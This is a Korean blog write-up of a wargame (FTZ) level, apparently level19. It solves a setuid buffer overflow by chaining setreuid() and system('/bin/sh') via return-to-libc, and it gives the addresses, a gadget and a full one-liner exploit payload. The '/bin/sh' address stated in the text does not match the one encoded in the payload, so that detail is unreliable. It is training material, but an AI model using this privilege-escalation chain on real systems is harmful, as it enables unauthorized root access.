해당 문제 코드는 정말로 간단하다.
그래서 일반적인 RTL 페이로드를 작성한 후에 실행하였더니 권한이 level20으로 올라가질 않는다.
이유를 찾아봤더니 setreuid 함수가 없다.
RTL 에서 setreuid 도 추가하여 RTL Chaining 기법으로 문제를 풀었다. (참고 - RTL_Chaining.pdf
일단 구조먼저 살펴보면
str[20] + dummy[20] + sfp[4] + ret[4] 이다.
필요한 것
1. system() 함수 주소 (0x4203f2c0)
2. /bin/sh 함수 주소 (0x421273a4)
3. pop_pop_ret gardget (setreuid 인자가 2개이므로 pop 이 두개다) (0x804849d)
4. setreuid 함수 주소 (0x420d7920)
5. setreuid 인자
3100 3100 이므로 리틀엔디안 4byte 형식으로 바꿔주면 아래와 같다
\x1c\x0c\x00\x00
이제 이어붙이기만 하면 된다!!
payload
(python -c 'print "A"*44 + "\x20\x79\x0d\x42" + "\x9d\x84\x04\x08" + "\x1c\x0c\x00\x00" + "\x1c\x0c\x00\x00" + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"';cat) | ./attackme
순서는 "A"*44(sfp까지덮고) + (setreuid 주소) + (pop_pop_ret 인자 두개 메모리 할당) + (인자1) + (인자2) + (system주소) + (공백4byte) + (/bin/sh 주소) 가 된다
너무 재밌다
'Pwnable > ▷ Study' 카테고리의 다른 글
lob 18 (0) | 2018.02.21 |
---|---|
ftz level20 (0) | 2018.02.18 |
ftz level18 (0) | 2018.02.17 |
ftz level17 (1) | 2018.02.17 |
ftz level16 (0) | 2018.02.17 |